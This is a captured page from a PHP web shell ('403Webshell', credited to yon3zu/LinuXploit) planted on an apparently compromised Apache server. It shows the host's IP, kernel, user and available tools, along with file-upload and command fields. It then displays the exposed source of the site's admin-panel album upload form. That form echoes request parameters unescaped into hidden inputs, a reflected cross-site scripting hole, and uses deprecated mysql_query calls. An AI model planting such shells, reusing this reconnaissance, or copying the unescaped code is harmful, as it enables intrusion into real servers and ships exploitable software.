403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rsdgroup/adminPanel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rsdgroup/adminPanel/album_add.php
<?php 
include_once("session.php");
include_once("settings.php");
include_once("functions.php");

?>
<LINK href="mel.css" type=text/css rel=stylesheet>
<LINK href="sdmenu.css" type=text/css rel=stylesheet>
<script type="text/javascript">
	function showUser(val){
		if(val == 0){
			document.getElementById("albumName1").value = "";
			document.getElementById('showHide').style.display = 'table-row';
		}
		else{
			document.getElementById("albumName1").value = "";
			document.getElementById('showHide').style.display = 'none';
		}
	}
	function validation(){
		var vla = document.getElementById("albumName").value;
		var alb = document.getElementById("albumName1").value
		alb = alb.replace(/^\s+|\s+$/g,"");
		if((vla == 0) && (alb =='')){
			alert("Please enter the album name");
			document.getElementById('albumName1').focus();
			return false;
		}
	}
</script>
<table width="94%" border="0" cellspacing="0" cellpadding="0">
  <tr> 
    <td><form action="write_album.php" method="post" enctype="multipart/form-data"  name="add_album_form" onsubmit="return validation();">
        <fieldset>
        <legend>ALBUM ADD FORM</legend>
        <table width="97%" border="0" cellspacing="2" cellpadding="0">
		  <tr>
			<td width="42%" height="26" class="general">Album</td>
			<td>
				<select name="albumName" id="albumName" onchange="showUser(this.value)">
					<option value="0" selected>-New Album-</option>
					<?php
						$sql	=	"SELECT * FROM `tblalbum` where isDeleted = 'Activate' order by `albumName` ASC";
						$result	=	mysql_query($sql);
						while($album	=	mysql_fetch_assoc($result)){ ?>
							<option value="<?php echo $album['id']; ?>"><?php echo ucfirst(strtolower($album['albumName'])); ?></option>
					<?php	}
					?>
				</select>
			</td>
		  </tr>
		  <tr id='showHide'>
		    <td width="42%" height="26" class="general">New Album</td>
			<td width="58%" height="26"><input type="text"  name="albumName1" id="albumName1"></td>
		  </tr>
          <tr> 
            <td width="42%" height="26" class="general">Image :</td>
            <td width="58%" height="26"><input name="albumImage" type="file" id="albumImage" maxlength="2500"> </td>
          </tr>
          <tr align="center"> 
            <td height="26" colspan="2"><label for="label"> 
              <input type="hidden" name="id" value="<?=$_REQUEST['id']?>" />
              <input type="submit" name="Submit" value="  Save  " class="button" />
              &nbsp;&nbsp;&nbsp;&nbsp; 
              <input type="reset" name="Submit" value="Reset" class="button" />
              <input name="mode" type="hidden" id="mode" value="<?=$_REQUEST['mode']?>" />
              </label></td>
          </tr>
        </table>
        </fieldset>
      </form></td>
  </tr>
</table>

Youez - 2016 - github.com/yon3zu
LinuXploit